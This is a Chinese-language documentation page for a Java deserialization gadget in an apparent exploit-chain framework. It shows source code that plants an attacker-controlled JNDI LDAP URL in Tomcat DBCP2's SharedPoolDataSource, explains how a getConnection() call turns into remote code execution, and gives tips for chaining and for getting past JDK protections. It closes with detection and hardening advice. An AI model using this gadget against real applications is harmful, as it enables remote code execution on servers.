Skip to content

Latest commit

 

History

History
93 lines (75 loc) · 8.44 KB

File metadata and controls

93 lines (75 loc) · 8.44 KB

TomcatDbcp2DataSource JNDI(TomcatDbcp2DataSource)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.apache.tomcat:tomcat-dbcp >= 8

作用

构造一个 Tomcat 内嵌 DBCP2 的 org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource,并把它的 dataSourceName 字段设为攻击者可控的 JNDI 地址。当上游 gadget 在反序列化过程中调用该对象的 getConnection()(一个「特殊公共方法 / getter」)时,DBCP2 会用该名字发起 InitialContext.lookup(),从而把「调用一个 getter」转化为 JNDI 注入,指向恶意 LDAP/RMI 服务实现 RCE。它是一个终端 sink(END),本身不再向后衔接。

链接标签

  • 入口 tagsDataSourceChainsSpecialPublicMethodGetterEND
    • DataSourceChains —— 归入「DataSource 类 JNDI 跳板」族,供 DataSource 系列的调用型入口识别与串接。
    • SpecialPublicMethod —— 声明本 gadget 通过一个「特殊公共方法」(此处即 getConnection())被触发,配合 invoke 写入 SPECIAL_METHOD_NAME_KEY=getConnection,告知上游要调用哪个方法。
    • Getter —— 也可被纯 getter 调用型跳板(如 BeanComparator 按属性名 connection 反射调 getConnection)触发。
    • END —— 链尾终结标签,表示这是最终 sink,不再需要下一环。
  • 衔接 nextTags:(空)—— 作为 sink,无后继 gadget。
  • excludes:(空)—— 无互斥标签。

源码剖析

整个类很短,逻辑集中在 getObject()invoke()

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
@GadgetAnnotation(name="TomcatDbcp2DataSource JNDI", ... dependencies={"org.apache.tomcat:tomcat-dbcp >= 8"})
public class TomcatDbcp2DataSource implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        SharedPoolDataSource dataSource = new SharedPoolDataSource();
        dataSource.setDataSourceName(this.jndiUrl);   // 把 JNDI 名注入 dataSourceName
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);   // 声明对象可按 DataSource 类型处理
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // 告知上游要调用的方法
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");      // 告知 getter 属性名(getConnection 的属性名)
        return this.getObject();
    }
}

逐段解释:

  1. getObject() 构造 sink 对象new SharedPoolDataSource() 创建 Tomcat 版 DBCP2 的共享连接池数据源;setDataSourceName(this.jndiUrl) 把用户可控的 jndiUrl 写入其父类 InstanceKeyDataSourcedataSourceName 字段。这个字段在 DBCP2 内部被当作通过 JNDI 查找底层 ConnectionPoolDataSource 的名字

  2. 触发点是 getConnection()SharedPoolDataSource 继承 InstanceKeyDataSource,其 getConnection() 会走到 getPooledConnectionAndInfo(),进而在首次使用时调用 testCPDS()testCPDS() 内部执行 InitialContext ctx = new InitialContext(); ... ctx.lookup(dataSourceName)。因此只要有人调用被反序列化对象的 getConnection()dataSourceName(即 jndiUrl)就会被作为 JNDI 名解析,触发对远程 ldap://.../x 的查找并加载恶意工厂类。这正是「getter 触发 JNDI」的本质:getConnection 语义上是 connection 属性的 getter,可被属性驱动的调用器直接命中。

  3. invoke() 只做「上下文协商」,不构造链尾之外的结构。它不调用 chain.doCreate(context)(因为自己就是链尾 END),而是把三条元信息写入 GadgetContext,供上游 gadget 读取:

    • SUPER_CLASS_NAME_KEY = DataSource.class:告诉上游「本对象可被声明/转型为 javax.sql.DataSource」,便于生成需要接口类型的包装(如动态代理、字段类型匹配)。
    • SPECIAL_METHOD_NAME_KEY = "getConnection":与 SpecialPublicMethod 标签配合,明确「要触发的公共方法名」。
    • GETTER_PARAM_NAME_KEY = "connection":与 CommonsBeanutils1Getter 型跳板的约定一致——上游据此把比较器/调用器的 property 设为 connection,反序列化时反射调用 getConnection getter。 最后返回 getObject() 产出的 SharedPoolDataSource 作为内层对象,交给上游继续包装。

注:反编译头部的 Could not load ... SharedPoolDataSource 属正常现象(缺失 tomcat-dbcp 第三方类),不影响逻辑分析。

参数(@Param)

字段 名称 说明 默认值 可选值
jndiUrl Jndi地址 被写入 dataSourceName 的 JNDI 查找名;getConnection() 触发时经 InitialContext.lookup() 解析到此地址,指向攻击者控制的 LDAP/RMI 服务 ldap://127.0.0.1:1389/x 无约束(任意 JNDI URL)

字段 getterMethodName="getConnection"getterPropertyName="connection" 为内部常量,非 @Param,用于说明触发所依赖的方法/属性名。

适用版本与原理要点

  • 依赖org.apache.tomcat:tomcat-dbcp >= 8(Tomcat 8 起把 commons-dbcp2 重打包进 org.apache.tomcat.dbcp.dbcp2.*)。目标应用只要类路径存在该重打包依赖即可,无需独立引入 commons-dbcp2。
  • 原理要点:本 gadget 属「DataSource 触发型 JNDI」家族,与 TomcatDbcp2DataSource2(用 PerUserPoolDataSource)、原生 commons-dbcp2、c3p0 等同类。核心是「一个看似无害的 getter (getConnection) 在内部隐藏了 InitialContext.lookup()」。
  • 坑点
    • 需要有一个上游调用器在反序列化期间真正调用 getConnection()——单独放它无效,必须与 Getter/SpecialPublicMethod 型入口(如 CommonsBeanutils1BeanComparator 等调用 getter 的跳板)组合。
    • JNDI 注入能否落地为 RCE 受目标 JDK 的 JNDI 防护影响:高版本 JDK(com.sun.jndi.ldap.object.trustURLCodebase=false 默认)下需改用本地 factory/EL、BeanFactory+Tomcat、反序列化 JNDI 等绕过,或退化为 SSRF/探测。
    • SharedPoolDataSource 是共享池变体,TomcatDbcp2DataSource2 用按用户池变体 PerUserPoolDataSource;两者触发路径一致,互为备选以适配不同白名单/可用类。

所属预设链

  • 自由构件,未直接出现在预设链(usedInChains 为空)。作为通用 JNDI 终端 sink,可自由拼接到任意 Getter/SpecialPublicMethod 型 Java 原生反序列化入口之后。

关联

  • 上游(可触发本 sink)CommonsBeanutils1nextTags=Getter,将 property 设为 connection 即调 getConnection)及其它 Getter/SpecialPublicMethod 型跳板。
  • 同族备选TomcatDbcp2DataSource2PerUserPoolDataSource 变体,触发方式相同)。
  • 同类 JNDI sink:commons-dbcp2 原生 SharedPoolDataSource/PerUserPoolDataSourcec3p0 系列、JdbcRowSetImpl 等 DataSource/RowSet 型 JNDI 触发器。

防御与检测

  • 检测特征
    • 反序列化字节流或运行时出现 org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource(或 PerUserPoolDataSource)实例,且其 dataSourceNameldap:///rmi:// 等外部 JNDI URL。
    • 应用进程在处理不可信输入后发起指向外部主机的 LDAP/RMI 出站连接(InitialContext.lookup 栈帧中出现 InstanceKeyDataSource.testCPDS)。
    • 异常/调用栈中同时出现 getConnectiongetPooledConnectionAndInfotestCPDSjavax.naming.InitialContext.lookup
  • 加固建议
    • 对反序列化入口启用类白名单(如 JEP 290 / ObjectInputFilter),拒绝 *.dbcp2.datasources.* 等 DataSource 类。
    • 收敛 JNDI:保持 com.sun.jndi.ldap.object.trustURLCodebase=false/rmi.object.trustURLCodebase=false,升级 JDK 至带远程 codebase 加载限制的版本。
    • 出站网络管控:禁止业务服务向非受信主机发起 LDAP/RMI 连接,阻断 JNDI 回连。
    • 避免对不可信数据进行原生反序列化,或改用不触发任意 getter 的安全序列化格式。